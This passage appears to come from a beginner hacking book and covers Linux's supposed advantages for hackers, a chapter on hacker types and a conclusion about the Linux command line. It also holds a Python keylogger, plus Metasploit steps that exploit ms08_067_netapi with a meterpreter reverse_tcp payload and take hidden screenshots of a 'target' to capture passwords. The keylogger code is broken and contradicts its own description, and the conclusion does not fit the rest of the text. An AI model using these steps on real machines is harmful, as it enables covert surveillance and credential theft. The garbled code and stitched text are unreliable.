Another benefit that we will spend a bit of time on is how friendly the Linux
network is overall. As this operating system is an option that is open source
and is contributed by the team over the internet network, it is also able to
effectively manage the process of networking all of the time. And it is going
to help with things like commands that are easy to learn and lots of libraries
that can be used in a network penetration test if you choose to do this. Add on
that the Linux system is going to be more reliable and it is going to make the
backup of the network more reliable and faster and you can see why so many
users love to work with this option.
As a hacker, you will need to spend some of your time multitasking to get all
of the work done. A lot of the codes and more that you want to handle in
order to do a hack will need to have more than one thing going at a time, and
Linux is able to handle all of this without you having to worry about too
much going on or the computer freezing upon you all of the time.
In fact, the Linux system was designed in order to do a lot of things at the
same time. This means that if you are doing something large, like finishing
up a big printing job in the background, it is not really going to slow down
some of the other work that you are doing. Plus, when you need to handle
more than one process at the same time, it is going to be easier to do on
Linux, compared to Mac or Windows, which can be a dream for a hacker.
You may also notice that working with the Linux system is a bit different and
some of the interactions that you have to take care of are not going to be the
same as what we found in the other options. For example, the command-line
interface is going to introduce us to something new. Linux operating systems
are going to be specifically designed around a strong and highly integrated
command-line interface, something that the other two operating systems are
not going to have. The reason that this is important is that it will allow
hackers and other users of Linux to have more access and even more control,
over their system.
Next on the list is the fact that the Linux system is lighter and more portable
than we are going to find with some of the other operating systems out there.
This is a great thing because it is going to allow hackers with a method that
will make it easier to customize the live boot disks and drives from any
distribution of Linux that they would like. The installation is going to be fast
and it will not consume as many resources in the process. Linux is light-
weight and easy to use while consuming fewer resources overall.
The maintenance is going to be another important feature that we need to
look at when we are trying to do some ethical hacking and work with a good
operating system. Maintaining the Linux operating system is going to be easy
to work with. All of the software is installed in an easy manner that does not
take all that long and every variant of Linux has its own central software
repository, which makes it easier for the users to search for their software and
use the kind that they would like along the way.
There is also a lot of flexibility when it comes to working with this kind of
operating system. As a hacker, you are going to need to handle a lot of
different tools along the way. And one of the best ways that we are able to do
this is to work with an operating system that allows for some flexibility in the
work that we are doing. This is actually one of the most important features in
Linux because it allows us to work with embedded systems, desktop
applications and high-performance server applications as well.
As a hacker, you want to make sure that your costs are as low as possible. No
one wants to get into the world of ethical hacking and start messing with
some of those codes and processes and then find out that they have to spend
hundreds of dollars in order to get it all done. And this is where the Linux
system is going to come into play. As you can see from some of our earlier
discussions of this operating system, it is going to be an open-source
operating system, which means that we are able to download it free of cost.
This allows us to get started with some of the hacking that we want to do
without having to worry about the costs.
If you are working with ethical hacking, then your main goal is to make sure
that your computer and all of the personal information that you put into it is
going to stay safe and secure all of the time. This is going to be a command-
line to keep other hackers off and will make it so that you don’t have to
worry about your finances or other issues along the way, either. And this is
also where the Linux operating system is going to come into play to help us
out.
One of the nice things that we are going to notice when it comes to the Linux
operating system is that it is seen as being less vulnerable than some of the
other options. Today, most of the operating systems that we are able to
choose from, besides the Linux option, are going to have a lot of
vulnerabilities to an attack from someone with malicious intent along the
way.
Linux, on the other hand, seems to have fewer of these vulnerabilities in
place from the beginning. This makes it a lot nicer to work with and will
ensure that we are going to be able to do the work that we want on it, without
having a hacker getting. Linux is seen as one of the most secure out of all the
operating systems that are available and this can be good news when you are
starting out as an ethical hacker.
The next benefit that we are going to see when it comes to working with the
Linux operating system over some of the other options, especially if you are a
hacker, is that it is going to provide us with a lot of support and works with
most of the programming languages that you would choose to work on when
coding. Linux is already set up in order to work with a lot of the most popular
programming languages. This means that many options like Perl, Ruby
Python, PHP< C++ and Java are going to work great here.
This is good news for the hacker because it allows them to pick out the option
that they like. If you already know a coding language or there is one in
particular that you would like to use for some of the hacking that you plan to
do, then it is likely that the Linux system is going to be able to handle this
and will make it easy to use that one as well.
If you want to spend some of your time working on hacking, then the Linux
system is a good option. And this includes the fact that many of the hacking
tools that we are working with are going to be written out in Linux. Popular
hacking tools like Nmap and Metasploit, along with a few other options, are
going to be ported for Windows. However, you will find that while they can
work with Windows, if you want, you will miss out on some of the
capabilities when you transfer them off of Linux.
It is often better to leave these hacking tools on Linux. This allows you to get
the full use of all of them and all of the good capabilities that you can find
with them, without having to worry about what does and does not work if you
try to move them over to a second operating system. These hacking tools
were made and designed to work well in Linux, so keeping them there and
not trying to force them into another operating system allows you to get the
most out of your hacking needs.
And finally, we are able to take a quick look at how the Linux operating
system is going to take privacy as seriously as possible. In the past few years,
there was a lot of information on the news about the privacy issues that
would show up with the Windows 10 operating system. Windows 10 is set up
to collect a lot of data on the people who use it the most. This could bring up
some concerns about how safe your personal information could be.
This is not a problem when we are working with Linux. This system is not
going to take information, you will not find any talking assistants to help you
out and this operating system is not going to be around, collecting
information and data on you to have some financial gain. This all can speak
volumes to an ethical hacker who wants to make sure that their information
stay safe and secure all of the time.
As you can see here, there are a lot of benefits that are going to show up
when it is time to work with the Linux system. We can find a lot of examples
of this operating system and all of the amazing things that it is able to do,
even if we don’t personally use it on our desktop or laptop. The good news is
that there are a lot of features that are likely to make this operating system
more effective and strong in the future, which is perfect when it comes to
doing a lot of tasks, including the hacking techniques that we talked about.
Making a key logger
The first thing we are going to learn how to work with is a key logger. This
can be an interesting tool because it allows you to see what keystrokes
someone is making on your computer right from the beginning. Whether you
have a network that you need to keep safe and you want to see what others
are the system are typing out, or if you are using a type of black hat hacking
and are trying to get the information for your own personal use, the key
logger is one of the tools that you can use to make this work out easily for
you.
Now there are going to be a few different parts that you will need to add in
here. You can download a key logger app online (git is one of the best ones to
use on Linux for beginners), and while this is going to help you to get all the
characters that someone is typing on a particular computer system, it is not
going to be very helpful. Basically here you are going to get each little letter
on a different line with no time stamps or anything else to help you out.
It is much better to work this out so that you are getting all the information
that you need, such as lines of text rather than each letter on a different line
and a time stamp to tell you when each one was performed. You can train the
system to only stop at certain times, such as when there is a break that is
longer than two seconds, and it will type in all the information that happens
with the keystrokes at once rather than splitting it up. A time stamp is going
to make it easier to see when things are happening and you will soon be able
to see patterns, as well as more legible words and phrases.
When you are ready to bring all of these pieces together, here is the code that
you should put into your command prompt on Linux in order to get the key
logger all set up:
import pyxhook
#change this to your log file’s path
log_file = ‘/home/aman/Desktop/file.log’
#this function is called every time a key is pressed
def OnKeyPress(event):
fob = open(log_file, ‘a’)
fob.write(event.Key)
fob.writer(‘\n’)
if event.ASCII==96: #96 is the asci value of the grave key
fob.close()
new_hook.cancel()
#instantiate HookManager class
new_hook=pyxhook.HookManager()
#listen to all keystrokes
new_hook.KeyDown=OnKeyPress
#hook the keyboard
new_hook.HookKeyboard()
#start the session
new_hook.start()
Now you should be able to get a lot of the information that you need in order
to keep track of all the key strokes that are going on with the target computer.
You will be able to see the words come out in a steady stream that is easier to
read, you will get some time stamps, and it shouldn’t be too hard to figure out
where the target is visiting and what information they are putting in. Of
course, this is often better when it is paired with a few other options, such as
taking screenshots and tracking where the mouse of the target computer is
going in case they click on links or don’t type in the address of the site they
are visiting, and we will explore that more now!
Getting screenshots
Now, you can get a lot of information from the key strokes, but often these
are just going to end up being random words with time stamps accompanying
them. Even if you are able to see the username and password that you want, if
the target is using a link in order to get their information or to navigate to a
website, how are you supposed to know where they are typing the
information you have recorded?
While there are a few codes that you can use in order to get more information
about what the target is doing, getting screenshots is one of the best ways to
do so. This helps you to not only get a hold of the username and passwords
based on the screenshots that are coming up, but you are also able to see what
the target is doing on the screen, making the hack much more effective for
you.
Don’t worry about this sounding too complicated. The code that you need to
make this happen is not too difficult and as long as you are used to the
command prompt, you will find that it is pretty easy to get the screenshots
that you want. The steps that you need to take in order to get the screenshots
include:
Step1: set the hack up
First, you will need to select the kind of exploit that you need to use. A good
exploit that you should consider using is the MS08_067_netapi exploit. You
will need to get this one onto the system by typing:
msf > use exploit/windows/smb/ms08_067_netapi
Once this is on the system, it is time to add in a process that is going to make
it easier to simplify the screen captures. The Metasploit’s Meterpreter
payload can make things easier to do. in order to get this to set up and load
into your exploit, you will need type in the following code:
msf> (ms08_067_netapi) set payload windows/meterpreter/reverse_tcp
The following step is to set up the options that you want to use. A good place
to start is with the show options command. This command is going to let you
see the options that are available and necessary if you would like to run the
hack. To get the show options command to work well on your computer, you
will need to type in the following code:
msf > (ms08_067_netapi) show options
At this point, you should be able to see the victim, or the RHOST, and the
attacker or you, the LHOST, IP addresses. These are important to know when
you want to take over the system of another computer because their IP
address will let you get right there. The two codes that you will need in order
to show your IP address and the targets IP address so that you can take over
the targets system includes:
msf > (ms08_067_netapi) set RHOST 192.168.1.108
msf > (ms08_067_netapi) set LHOST 192.168.1.109
Now if you have gone through and done the process correctly, you should be
able to exploit into the other computer and put the Meterpreter onto it. The
target computer is going to be under your control now and you will be able to
take the screenshots that you want with the following steps.
Step 2: Getting the screenshots
With this step, we are going to work on getting the screenshots that you want.
But before we do that, we want to find out the process ID, or the PID, that
you are using. To do this, you will need to type in the code:
meterpreter > getpid
The screen that comes up next is going to show you the PID that you are
using on the targets computer. For this example we are going to have a PID
of 932, but it is going to vary based on what the targets computer is saying.
Now that you have this number, you will be able to check which process this
is by getting a list of all the processes with the corresponding PIDs. To do
this, you will just need to type in:
meterpreter > ps
When you look at the PID 932, or the one that corresponds to your targets
particular system, you will be able to see that it is going to correspond with
the process that is known as svrhost.exe. Since you are going to be using a
process that has active desktop permissions in this case, you will be ready to
go. If you don’t have the right permissions, you may need to do a bit of
migration in order to get the active desktop permissions. Now you will just
need to activate the built in script inside of Meterpreter. The script that you
need is going to be known as espia. To do this, you will simply need to type
out:
meterpreter > use espia
Running this script is just going to install the espia app onto the computer of
your target. Now you will be able to get the screenshots that you want. To get
a single screenshot of the target computer, you will simply need to type in the
code:
meterpreter > screengrab
When you go and type out this code, the espia script that you wrote out is
basically going to take a screenshot of what the targets computer is doing at
the moment, and then will save it to the root user’s directory. You will then
be able to see a copy of this come up on your computer. You will be able to
take a look at what is going on and if you did this in the proper way, the
target computer will not understand that you took the screenshots or that you
aren’t allowed to be there. You can keep track of what is going on and take as
many of the different screenshots that you would like.
These screenshots are pretty easy to set up and they are going to make it
easier than ever to get the information that you need as a hacker. You will not
only receive information about where the user is heading to, but also what
information they are typing into the computer.
Keep in mind that black hat hacking is usually illegal and it is not encouraged
in any way. While the black hat hackers would use the formulas above in
order to get information, it is best to stay away from using these tactics in an
illegal manner. Learning these skills however can be a great way to protect
yourself against potential threats of black hat hackers. Also, having hacking
skills allows you to detect security threats in the systems of other people.
Being a professional hacker can be a highly lucrative career, as big
companies pay a lot of money to ensure that their system is secure. Hack-
testing systems for them is a challenging, and fun way to make a living for
the skilled hackers out there!
Chapter 13 Types of Hackers
All lines of work in society today have different forms. You are either blue
collar, white collar, no collar…whatever. Hacking is no different. Just as
there is different kinds of jobs associated with different kinds of collar colors,
the same goes for hacking.
Hackers have been classified into many different categories, black hat, white
hat, grey hat, newbies, hacktivists, elites, and more. Now, to help you gain a
better understanding as to what grey hacking is, let’s first take a look at these
other kinds of hacking, so you can get a feel for what it is hackers do, or can
do, when they are online.
Newbies
The best place to start anything is at the beginning, which is why we are
starting with the newbie hackers.
The problem with a lot of newbie hackers is that they think they have it all
figured out when they really don’t. The idea of hacking is really only
scratching the surface when it comes to everything that is involved, and it is
not at all uncommon for people who want to get into it to get overwhelmed
when they see what really needs to be learned.
Don’t let that discourage you, however, you are able to learn it all, it just
takes time and effort on your part. Borrow books and get online. Look up
what needs to be and remember it. Don’t rush yourself. You need to learn,
and really learn. Anything that you don’t remember can end up costing you
later.
There are immediate reactions when it comes to the real world of hacking,
and sitting there trying to look up what you should have already known is not
going to get you far as a hacker. If you want to be good at what you do, then
take the time required to be good at it.
Don’t waste your time if you don’t think you really want to learn it, because
it is going to take a lot of your concentration to get to the heart of the matter.
Don’t get me wrong, it is more than worth it, but if you are only looking into
it for curiosity sake, don’t do it unless knowing really means that much to
you.
Sure there are those that kind of know what they are doing, or they can get
into their friend’s email account, but that is not the hacking I am talking
about here.
I want you to become a real life, capable hacker, and that isn’t going to
happen unless you are willing to take the time needed to learn it, and put
forth the effort to learn it.
You have to remember that any hacker that is in existence had to start as a
newbie hacker, and build up their skills from there. Now, as fast they built
those skills depended greatly on how much time and effort they put into
working on it, but don’t worry, you will get the hang of things, and while you
have to start as a newbie, you will have Grey Hat status soon enough.
Elites
As with the newbie hackers, elite hackers can be any kind of hacker, whether
that be good or bad. What makes them elite is the fact they are good at what
they do, and they know it.
There is a lot of respect for elite hackers online. Just like with elite anything,
they know what they are doing, and they know that others can’t challenge
them unless they too know how to handle themselves.
There is a level of arrogance that goes with the status, but it is well deserved.
Anyone can stop at second best, but it takes true dedication to reach the top.
An elite hacker can use their powers for good or bad, but they are a force to
be reckoned with either way. They know the way systems work, how to work
around them, and how to get them to do what they want them to do.
If you have a goal of becoming an elite hacker, you do have your work cut
out for you, but don’t worry, you will get there. It only takes time and effort
to get this top dog status, and it comes to those who want it.
No one ‘accidently’ achieves elite status, it is something that they had to
work for, but it is definitely worth all of the time and effort that is put into it.
As an elite hacker, you won’t have to worry about whatever system you run
into, you will know what is coming, and how you can work around it, it just
comes with the line of work.
Hacktivists
Hacktivist hackers use their skills to promote a social or political agenda.
Sometimes they are hired by specific groups to get into places online and
gather information, sometimes they work all on their own.
The point of this kind of hacking is to make one political party look bad, and
the one that the hacker promotes to look good.
Then, they either publish it elsewhere online, or they pass it along so others
can see what the person has done or what they are accused of doing. It is a
way for politicians to make jabs at each other, and it isn’t really playing the
game fairly.
The hacker then is either payed by the party that hired them, or, if they are
working for themselves, they get to see the results of what they posted about
the politician.
The list of hackers and what they do is one that goes on and on, but they all
can ultimately fit into three categories, being the black hat, white hat, and
grey hats. No matter what kind of hacker they are on top of it, these are the
three realms that are really all encompassing.
This is because these are not only hackers in and of themselves, but they are
also characteristics of every king of hacker out there. Whether they are doing
things for good, for bad, or doing good things without permission, these are
really what hacking comes down to.
Black hat
The black hat hacker is likely the most famous of the hacking world, or
rather, infamous. This is the line of hacking that movies tend to focus on, and
it is the line of hacking that has given all hacking a bad name.
A black hat hacker is a hacker that is getting into a system or network to
cause harm. They always have malicious intent, and they are there to hurt and
destroy. They do this by either stealing things, whether it be the person’s
information, the network’s codes, or anything else they find that is valuable
to them, or they can do it by planting worms and viruses into the system.
There have been viruses planted into various systems throughout history,
causing hundreds of thousands of dollars’ worth of damage, and putting
systems down for days.
Viruses are programs that hackers create, then distribute, that cause havoc on
whatever they can get a grip on. They often times disguise themselves to look
like one thing, and they prompt you to open them in whatever way they can.
Then, once you do open the link, they get into the hard drive of your system
and do whatever they want while they are in there. Many viruses behave like
they have a mind of their own, and you would be surprised at the harm they
can cause.
There is a certain kind of virus, known as a ‘backdoor’ virus, which allows its
sender to then have access to and control of whatever system it has planted
itself into. It is as though the person who owns the system is nothing more
than a bystander who can do nothing but watch as the virus takes its toll on
the system.
Hackers will use these viruses for a number of reasons, and none of them are
very good for you. When a hacker has access to your computer, they can then
do whatever they like on there.
They can get into your personal information, and use that for their own gain.
They can steal your identity, they can do things that are illegal while they are
on your computer, and thus make it look like you were the one who did it,
and get out of the suspicion by passing all the blame onto you.
These are really hard viruses to get rid of, and it is of utmost importance that
you do whatever you can to protect yourself on the outset to make sure you
don’t get one of these viruses. However, if you do happen to get one, there is
hope. You may have to get rid of a lot of your system, or close it down and
restart it entirely, but it is always better to do that then to let a hacker have
access to anything you are doing.
Black hat hackers are malicious. They only do what they do to harm others
and cause mischief. It is unfortunate that they do what they do, as this is what
made hacking fall under a bad light, but there is hope, because wherever there
is a bad thing, there is also some good to be found, and that good comes in
the form of the white and grey hat hackers.
b. White hat
The white hat hacker and the grey hat hacker are really similar, but there are
key differences that make them separate categories. The white hat hacker is a
person who is hired by a network or company to get into the system and
intentionally try to hack it.
The purpose of this is to test the system or network for weakness. Once they
are able to see where hackers can get in, they can fix it and make it more
difficult for the black hat hackers to break in.
They often do this through a form of testing known as Penetration Testing,
but we will look more on that later. White hat hackers always have
permission to be in the system they are in, and they are there for the sole
purpose of looking for vulnerabilities.
There is a high enough demand for this line of work that there are white hat
hackers that do it for a full time job. The more systems go up, and more
hackers are going to try to break into them. The more hackers that try to do
that, the more companies are going to need white hat hackers to keep them
out.
Companies aren’t too picky on who they hire to work for them, either, so it is
remarkable that so many hackers will choose to go down the black hat path.
They could be making decent wages by working for people and getting paid
for what they do, but unfortunately not many people see it this way, and they
would rather hack for their own selfish gain than to do what would help
others.
To put it simply, however, it can be broken down to a very basic relationship.
Black hackers try to get in, white hackers try to keep them out. Sometimes
the black hats have the upper hand, then there are times when it goes to the
whites.
It is like a codependent relationship of villain and super hero, where you are
rooting for one but the other still manages to get what they want every once
in a while.
It is a big circle that works out in the end. Of course it would be a lot easier if
black hat hackers would stop breaking into the systems in the first place, but
unfortunately that isn’t going to happen.
c. Grey hat
The world is often portrayed as being full of choices that are either right or
wrong. You can do it one way, or you can do it any way but that one right
way…thus making you wrong.
Right and wrong, black and white. Yet…what about those exceptions to the
rule? There is an exception to pretty much every rule in existence, and
hacking is no exception. Grey hat hackers fall into this realm.
Whether they are right to do what they do or wrong to do what they do is up
to the individual to decide, because it is a grey area.
To clarify what I mean, think about it this way. Black hat hackers get into
networks without permission to cause harm. That is bad. Very bad. White hat
hackers get into systems with permission to cause protection. That is good.
Very good.
But then you have the grey hat hackers. Grey hat hackers get into a system
without permission…which is bad, but they get into that system to help the
company or network…which is good.
So, in a nutshell, grey hat hackers use bad methods to do good things. Which,
in turn, should make the whole event a good thing. Many people feel that it is
the grey hat hackers that do the best job of keeping the black hat hackers at
bay, but there are still those that argue the grey hats should not do what they
do because they have no permission to do it.
What is important and universal is the fact that a grey hat hacker never does
anything malicious or bad to a system, in fact, they do every bit as good as
the white hat hackers for those who are in charge of the network, but they do
it for free.
In a way, the grey hat hackers can be considered the robin hoods of hacking,
doing what they can to help people, unasked, and unpaid, and largely without
a ‘thank you’ even.
Conclusion
So you’ve worked through my book. Congratulations! You have learnt all
you need to learn to become a perfect Linux command line ninja. You have
acquired powerful and really practical skills and knowledge. What remains is
a little experience. Undoubtedly, your bash scripting is reasonably good now
but you have to practice to perfect it.
This book was meant to introduce you to Linux and the Linux command line
right from scratch, teach you what you need to know to use it properly and a
bit more to take you to the next level. At this point, I can say that you are on
your way to doing something great with bash, so don’t hang your boots just
yet.
The next step is to download Linux (if you haven’t done so yet) and get
started with programming for it! The rest of the books in this series will be
dedicated to more detailed information about how to do Linux programming,
so for more high-quality information, make sure you check them out.

You might also like